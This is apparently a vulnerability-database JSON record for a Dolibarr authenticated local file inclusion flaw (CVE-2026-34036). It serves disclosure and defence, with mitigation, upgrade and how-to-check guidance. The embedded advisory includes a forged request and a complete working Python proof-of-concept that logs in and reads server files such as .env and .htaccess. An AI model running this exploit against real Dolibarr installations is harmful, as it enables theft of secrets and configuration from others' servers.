{"id":"CVE-2026-34036","kind":"vulnerability","aliases":["CVE-2026-34036","GHSA-2mfj-r695-5h9r"],"related":[],"title":"Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php","description":"# Authenticated Local File Inclusion (LFI) via selectobject.php leading to sensitive data disclosure\n\n## Target\n\nDolibarr Core (Tested on version 22.0.4)\n\n## Summary\n\nA Local File Inclusion (LFI) vulnerability has been discovered in the core AJAX endpoint `/core/ajax/selectobject.php`. By manipulating the `objectdesc` parameter and exploiting a fail-open logic flaw in the core access control function `restrictedArea()`, an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as `.env`, `.htaccess`, configuration backups, or logs…).\n\n## Vulnerability Details\n\nThe vulnerability is caused by a critical design flaw in `/core/ajax/selectobject.php` where dynamic file inclusion occurs **before** any access control checks are performed, combined with a fail-open logic in the core ACL function.\n\n- **Arbitrary File Inclusion BEFORE Authorization:** The endpoint parses the `objectdesc` parameter into a `$classpath`. If `fetchObjectByElement` fails (e.g., by providing a fake class like `A:conf/.htaccess:0`), the application falls back to `dol_include_once($classpath)` at **line 71**. At this point, the arbitrary file is included and its content is dumped into the HTTP response buffer. This happens *before* the application checks any user permissions.\n- **Access Control Bypass (Fail-Open):** At **line 102**, the application finally attempts to verify permissions by calling `restrictedArea()`. Because the object creation failed, the `$features` parameter sent to `restrictedArea()` is empty (`''`). Inside `security.lib.php`, if the `$features` parameter is empty, the access check block is completely skipped, leaving the `$readok` variable at `1`. Because of this secondary flaw, the script finishes cleanly with an HTTP 200 OK instead of throwing a 403 error.\n\nThis allows any authenticated user to bypass ACLs and include files. While PHP files cause a fatal error before their code is displayed, the contents of any text-based file (like `.htaccess`, `.env`, `.json`, `.sql`) are dumped into the HTTP response before the application crashes.\n\n## Steps to Reproduce\n\n- Log in to the Dolibarr instance with any user account (no specific permissions required).\n- Intercept or manually forge a GET request to the following endpoint:\n\n```\nGET /core/ajax/selectobject.php?outjson=0&htmlname=x&objectdesc=A:conf/.htaccess:0\n```\n\n- Observe the HTTP response. The contents of the `conf/.htaccess` file will be reflected in the response body right before the PHP Fatal Error message.\n- *(Optional)* Run the attached Python PoC to automate the extraction:\n\n```\npython3 poc.py --url http://target.com --username '<username>' --password '<password>' --file conf/.htaccess\n```\n\n## Impact\n\nAn attacker with minimal access to the CRM can exfiltrate sensitive files from the server. This can lead to the disclosure of environment variables (`.env`), infrastructure configurations (`.htaccess`), installed packages versions, or even forgotten logs and database dumps, paving the way for further attacks.\n\n## Suggested Mitigation\n\n- **Input Validation & Whitelisting:** The `$classpath` must be strictly validated or whitelisted before being passed to `dol_include_once()`.\n- **Execution Flow Correction:** The file inclusion logic must never be executed before the user's authorization has been fully verified.\n- **Enforce Fail-Secure ACLs:** Modify `restrictedArea()` in `core/lib/security.lib.php` so that if the `$features` parameter is empty, access is explicitly denied (`$readok = 0`) instead of allowed by default.\n\n## Disclosure Policy & Assistance\n\nThe reporter is committed to coordinated vulnerability disclosure. This vulnerability, along with the provided PoC, will be kept strictly confidential until a patch is released and explicit authorization for public disclosure is given.\n\nShould any further technical details, logs, or testing of the remediation once a patch has been developed be needed, the reporter is available to assist.\n\nThank you for the time and commitment to securing Dolibarr.\n\nBest Regards,\nVincent KHAYAT (cnf409)\n\n## Video PoC\n\nhttps://github.com/user-attachments/assets/4af80050-4329-4c88-8a54-e2b522deb844\n\n## PoC Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"Dolibarr selectobject.php authenticated LFI PoC\"\"\"\n\nimport argparse\nimport html\nimport re\nimport urllib.error\nimport urllib.parse\nimport urllib.request\nfrom http.cookiejar import CookieJar\n\nLOGIN_MARKERS = (\"Login @\", \"Identifiant @\")\nLOGOUT_MARKERS = (\"/user/logout.php\", \"Logout\", \"Mon tableau de bord\")\n\ndef request(\n    opener, base_url, method, path, params=None, data=None, timeout=15\n):\n    url = f\"{base_url.rstrip('/')}{path}\"\n    if params:\n        url = f\"{url}?{urllib.parse.urlencode(params)}\"\n    payload = urllib.parse.urlencode(data).encode(\"utf-8\") if data else None\n    req = urllib.request.Request(url, method=method.upper(), data=payload)\n    req.add_header(\"User-Agent\", \"dolibarr-lfi-poc/1.0-securitytest-for-dolibarr\")\n    req.add_header(\"Accept\", \"text/html,application/xhtml+xml\")\n    try:\n        with opener.open(req, timeout=timeout) as resp:\n            return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n    except urllib.error.HTTPError as err:\n        return err.code, err.read().decode(\"utf-8\", errors=\"replace\")\n\ndef extract_login_token(page):\n    for pattern in (\n        r'name=[\"\\']token[\"\\']\\s+value=[\"\\']([^\"\\']*)[\"\\']',\n        r'name=[\"\\']anti-csrf-newtoken[\"\\']\\s+content=[\"\\']([^\"\\']*)[\"\\']',\n    ):\n        match = re.search(pattern, page, flags=re.IGNORECASE)\n        if match:\n            return match.group(1)\n    return \"\"\n\ndef looks_authenticated(body):\n    return any(marker in body for marker in LOGOUT_MARKERS)\n\ndef clean_included_output(body):\n    for marker in (\n        \"<br />\\n<b>Warning\",\n        \"<br />\\r\\n<b>Warning\",\n        \"<br />\\n<b>Fatal error\",\n        \"<br />\\r\\n<b>Fatal error\",\n    ):\n        pos = body.find(marker)\n        if pos != -1:\n            return body[:pos].rstrip()\n    return body.rstrip()\n\ndef login(opener, base_url, username, password):\n    code, login_page = request(opener, base_url, \"GET\", \"/\")\n    if code >= 400:\n        return False, f\"HTTP {code} on login page\"\n    token = extract_login_token(login_page)\n    code, after_login = request(\n        opener,\n        base_url,\n        \"POST\",\n        \"/index.php?mainmenu=home\",\n        data={\n            \"token\": token,\n            \"actionlogin\": \"login\",\n            \"loginfunction\": \"loginfunction\",\n            \"username\": username,\n            \"password\": password,\n        },\n    )\n    if code >= 400:\n        return False, f\"HTTP {code} on login request\"\n    if looks_authenticated(after_login):\n        return True, \"\"\n    code, home = request(opener, base_url, \"GET\", \"/index.php?mainmenu=home\")\n    if code < 400 and looks_authenticated(home):\n        return True, \"\"\n    return False, \"Invalid username or password\"\n\ndef read_file(opener, base_url, relative_path):\n    status, body = request(\n        opener,\n        base_url,\n        \"GET\",\n        \"/core/ajax/selectobject.php\",\n        params={\n            \"outjson\": \"0\",\n            \"htmlname\": \"x\",\n            \"objectdesc\": f\"A:{relative_path}:0\",\n        },\n    )\n    if any(marker in body for marker in LOGIN_MARKERS) and not looks_authenticated(body):\n        raise RuntimeError(\"Session expired or not authenticated\")\n    return status, body, clean_included_output(body)\n\ndef parse_args():\n    parser = argparse.ArgumentParser(\n        description=\"Authenticated LFI PoC against /core/ajax/selectobject.php (Dolibarr 22.0.4).\"\n    )\n    parser.add_argument(\n        \"--url\",\n        default=\"http://127.0.0.1:8080\",\n        help=\"Dolibarr base URL (default: http://127.0.0.1:8080)\",\n    )\n    parser.add_argument(\"--username\", required=True, help=\"Dolibarr username\")\n    parser.add_argument(\"--password\", required=True, help=\"Dolibarr password\")\n    parser.add_argument(\n        \"--file\",\n        dest=\"target_file\",\n        required=True,\n        help=\"Target file to read (e.g. conf/.htaccess).\",\n    )\n    return parser.parse_args()\n\ndef print_result(path, status, raw, clean):\n    print(f\"\\n[+] HTTP status: {status}\")\n    print(f\"[+] Requested file: {path}\")\n    print(\"=\" * 80)\n    if clean:\n        print(html.unescape(clean))\n    else:\n        print(\"(No readable output extracted)\")\n    print(\"=\" * 80)\n    if clean != raw.rstrip():\n        print(\"[i] PHP warnings/fatal output were trimmed from display.\")\n\ndef summarize_error_body(body, limit=1200):\n    text = html.unescape(body).strip()\n    if not text:\n        return \"(Empty response body)\"\n    if len(text) > limit:\n        return text[:limit].rstrip() + \"\\n... [truncated]\"\n    return text\n\ndef main():\n    args = parse_args()\n    opener = urllib.request.build_opener(\n        urllib.request.HTTPCookieProcessor(CookieJar())\n    )\n    ok, reason = login(opener, args.url, args.username, args.password)\n    if not ok:\n        print(f\"[!] {reason}\")\n        return 1\n    print(\"[+] Login successful.\")\n    try:\n        status, raw, clean = read_file(opener, args.url, args.target_file)\n        if status >= 400:\n            print(f\"[!] HTTP {status} while reading target file.\")\n            print(\"=\" * 80)\n            print(summarize_error_body(raw))\n            print(\"=\" * 80)\n            return 1\n        print_result(args.target_file, status, raw, clean)\n        return 0\n    except Exception as exc:\n        print(f\"[!] Error: {exc}\")\n        return 1\n\nif __name__ == \"__main__\":\n    try:\n        raise SystemExit(main())\n    except KeyboardInterrupt:\n        print(\"\\nInterrupted.\")\n        raise SystemExit(130)\n```","summary":"The AJAX endpoint /core/ajax/selectobject.php includes a file named in the objectdesc parameter before access checks run, and a fail-open check in restrictedArea() lets it return with HTTP 200. Any authenticated user with no special permissions can read text files such as .env or .htaccess from the server.","severity":"medium","cvss":6.5,"epss":0.01464,"exploited":false,"exploited_at":null,"products":[{"name":"dolibarr/dolibarr","fixed":["23.0.0"],"affected":"< 23.0.0","ecosystem":"composer"},{"name":"dolibarr erp\\/crm","fixed":[],"affected":"<= 22.0.4","ecosystem":"vendor"}],"ecosystems":["composer","vendor"],"tags":["cwe-98","dolibarr","package","php","self-hosted"],"not_affected_if":["fixed-version","no-user-accounts"],"how_to_check":"- Check the installed version with `composer show dolibarr/dolibarr` or the version shown in Dolibarr's About page; affected if below `23.0.0`.\n- Search the web root for the vulnerable endpoint: `grep -n dol_include_once htdocs/core/ajax/selectobject.php` (path depends on install layout); the report cites line 71 and line 102.\n- Request the endpoint as a logged-in low-privilege user and look for file contents in the response; the report's test case uses objectdesc=A:conf/.htaccess:0.","fix":"- Upgrade Dolibarr to `23.0.0` or later.\n- Until upgrading, restrict access to /core/ajax/selectobject.php at the web server for non-admin users (unknown whether this fully mitigates; not stated in sources).","status":"open","published_at":"2026-03-27T18:04:19+00:00","first_seen_at":"2026-10-26T14:31:43+00:00","triaged_at":"2026-10-26T14:32:58+00:00","updated_at":"2026-10-26T15:00:59+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-26T14:32:58Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade Dolibarr to `23.0.0` or later.\n- Until upgrading, restrict access to /core/ajax/selectobject.php at the web server for non-admin users (unknown whether this fully mitigates; not stated in sources).","reach":"internet","title":"Dolibarr: logged-in users can read server files via selectobject.php","impact":"medium","summary":"The AJAX endpoint /core/ajax/selectobject.php includes a file named in the objectdesc parameter before access checks run, and a fail-open check in restrictedArea() lets it return with HTTP 200. Any authenticated user with no special permissions can read text files such as .env or .htaccess from the server.","category":"package","nicknames":[],"who_cares":["dolibarr","self-hosted","php"],"confidence":0.8,"needs_auth":"yes","worst_case":"Authenticated user reads server config files including environment secrets","analyst_note":"","how_to_check":"- Check the installed version with `composer show dolibarr/dolibarr` or the version shown in Dolibarr's About page; affected if below `23.0.0`.\n- Search the web root for the vulnerable endpoint: `grep -n dol_include_once htdocs/core/ajax/selectobject.php` (path depends on install layout); the report cites line 71 and line 102.\n- Request the endpoint as a logged-in low-privilege user and look for file contents in the response; the report's test case uses objectdesc=A:conf/.htaccess:0.","needs_analyst":false,"not_affected_if":["fixed-version","no-user-accounts"],"who_is_affected":"Any Dolibarr installation below 23.0.0 where users have a login account, since the flaw needs only an authenticated session with no specific permissions. Installations where all accounts are fully trusted staff carry less practical risk, but the exposure is still real for any account. Sources do not describe a non-default configuration requirement.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"medium"},"cost_usd":0.001039,"input_tokens":6939,"output_tokens":690,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-2026':14A,22A '-34036':15A,23A '-98':29B '/core/ajax/selectobject.php':39B,119C,180C,419C '/crm':27A '0':231C,421C,427C,577C '1':323C '102':279C '200':65B,336C '22.0.4':103C '2mfj':18A '403':342C '5h9r':20A '71':243C 'access':49B,136C,188C,271C,312C,475C,572C 'account':402C 'acl':203C,351C,559C 'ajax':37B,117C 'allow':345C,580C 'along':596C 'applic':233C,266C,281C,388C 'arbitrari':152C,205C,248C 'assist':585C 'attach':455C 'attack':472C,514C 'attempt':283C 'authent':7A,67B,85C,141C,347C 'author':209C,550C,613C 'autom':459C 'avail':641C 'back':235C 'backup':165C 'base':373C 'block':314C 'bodi':444C 'buffer':261C 'bypass':273C,350C 'call':288C 'caus':173C,358C 'check':50B,57B,190C,267C,313C 'class':227C 'classpath':218C,240C,521C 'clean':332C 'code':364C 'combin':193C 'commit':589C 'complet':316C 'conf/.htaccess':230C,426C,436C,469C 'confidenti':605C 'configur':164C,497C 'content':150C,254C,368C,433C 'control':137C,189C,272C 'coordin':591C 'core':2A,99C,116C,135C,202C 'core/lib/security.lib.php':563C 'correct':537C 'crash':389C 'creation':293C 'critic':176C 'crm':478C 'cve':13A,21A 'cwe':28B 'data':5A,95C 'databas':507C 'default':582C 'deni':575C 'design':177C 'detail':169C,623C 'develop':635C 'disclos':3A 'disclosur':96C,491C,583C,593C,616C 'discov':113C 'display':366C 'dol':237C,532C 'dolibarr':1A,25A,30B,98C,397C 'dolibarr/dolibarr':24A 'dump':256C,381C,508C 'dynam':182C 'e.g':222C 'empti':302C,310C,571C 'endpoint':38B,118C,211C,417C 'enforc':555C 'env':79B,162C,377C,495C 'environ':493C 'erp':26A 'error':343C,361C,450C 'even':503C 'execut':535C,545C 'exfiltr':480C 'explicit':574C,612C 'exploit':126C 'extract':461C 'fail':55B,129C,197C,221C,275C,294C,557C 'fail-open':54B,128C,196C,274C 'fail-secur':556C 'fake':226C 'fall':234C 'fatal':360C,449C 'featur':296C,307C,568C 'fetchobjectbyel':220C 'file':9A,42B,76B,87C,107C,156C,183C,206C,249C,354C,357C,374C,437C,468C,482C,539C 'final':282C 'finish':331C 'flaw':132C,178C,328C 'flow':536C 'follow':416C 'forg':410C 'forgotten':504C 'fulli':553C 'function':138C,204C 'get':412C,418C 'ghsa':17A 'ghsa-2mfj-r695-5h9r':16A 'given':618C 'happen':263C 'host':35B 'htaccess':81B,163C,376C,498C 'htmlname':422C 'http':64B,259C,335C,384C,430C 'impact':470C 'includ':40B,238C,251C,353C,533C 'inclus':10A,88C,108C,184C,207C,540C 'infrastructur':496C 'input':517C 'insid':303C 'instal':499C 'instanc':398C 'instead':338C,578C 'intercept':407C 'json':378C 'kept':603C 'lead':92C,488C 'leav':318C 'let':60B 'lfi':89C,109C 'like':228C,375C 'line':242C,278C 'local':8A,86C,106C 'log':167C,393C,505C,624C 'logic':131C,199C,541C 'manipul':121C 'manual':409C 'messag':451C 'minim':474C 'mitig':516C 'modifi':560C 'must':522C,542C 'name':43B 'need':637C 'never':543C 'non':154C 'non-php':153C 'object':292C 'objectdesc':46B,123C,214C,424C 'observ':428C 'occur':185C 'ok':337C 'open':56B,130C,198C,276C 'option':452C 'outjson':420C 'packag':31B,500C 'paramet':47B,124C,215C,297C,308C,569C 'pars':212C 'pass':530C 'password':467C 'patch':608C,632C 'pave':509C 'perform':192C 'permiss':72B,270C,286C,405C 'php':32B,155C,356C,448C 'poc':457C,600C 'poc.py':463C 'point':246C 'polici':584C 'privileg':146C 'provid':224C,599C 'public':615C 'python':456C 'python3':462C 'r695':19A 'read':74B,148C 'readok':320C,576C 'reflect':440C 'releas':610C 'remedi':629C 'report':587C,639C 'reproduc':392C 'request':413C 'requir':406C 'respons':260C,385C,431C,443C 'restrictedarea':59B,139C,289C,300C,561C 'return':62B 'right':445C 'run':51B,453C 'script':330C 'secondari':327C 'secur':558C 'security.lib.php':304C 'selectobject.php':12A,91C 'self':34B 'self-host':33B 'sensit':4A,94C,481C 'sent':298C 'server':84B,159C,485C 'skip':317C 'special':71B 'specif':145C,404C 'sql':379C 'step':390C 'strict':524C,604C 'suggest':515C 'summari':104C 'target':97C 'target.com':465C 'technic':622C 'test':100C,626C 'text':75B,372C 'text-bas':371C 'throw':340C 'url':464C 'user':68B,142C,269C,348C,401C,548C 'usernam':466C 'valid':518C,525C 'variabl':321C,494C 'verifi':285C,554C 'version':102C,501C 'via':6A,90C 'vulner':110C,168C,171C,592C,595C 'way':511C 'whitelist':519C,527C 'x':423C","nicknames":[],"mitigations":[],"who_affected":"Any Dolibarr installation below 23.0.0 where users have a login account, since the flaw needs only an authenticated session with no specific permissions. Installations where all accounts are fully trusted staff carry less practical risk, but the exposure is still real for any account. Sources do not describe a non-default configuration requirement.","tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-03-27T18:04:19+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-2mfj-r695-5h9r","url":"https://github.com/advisories/GHSA-2mfj-r695-5h9r","severity":"medium","published_at":"2026-03-27T18:04:19+00:00","modified_at":"2026-10-26T14:26:52+00:00","first_seen_at":"2026-10-26T14:31:43+00:00","fetched_at":"2026-10-26T14:42:05+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-34036","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34036","severity":null,"published_at":"2026-03-31T03:15:57+00:00","modified_at":"2026-10-07T08:10:00+00:00","first_seen_at":"2026-10-26T15:00:59+00:00","fetched_at":"2026-10-26T15:00:59+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}